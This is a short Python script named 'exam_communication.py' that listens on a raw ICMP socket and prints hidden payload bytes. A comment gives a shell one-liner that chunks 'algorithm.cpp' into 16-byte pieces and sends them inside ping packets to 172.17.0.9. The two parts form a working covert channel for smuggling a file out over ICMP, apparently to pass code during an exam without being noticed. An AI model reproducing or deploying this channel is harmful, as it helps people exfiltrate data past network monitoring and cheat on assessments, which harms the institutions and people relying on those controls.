exam_communication.py

import socket
import sys

def recv():
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
  
    counter = 0;

    while True:
        data, src = s.recvfrom(1508)
        payload = data[44:60]
        if(counter % 2 == 0): 
            print((payload.decode()), end='')
        counter = counter+1

if __name__ == '__main__':
    recv()

#  Send algorithm.cpp over ICMP echo in 16 byte chunks. The ping utility somehow just allows specifying 16 byte. 
## >  split -b 16 algorithm.cpp ; for f in `ls x*`; do  ping -c 1 -p `xxd -ps $f ` 172.17.0.9 ;sleep 1;  done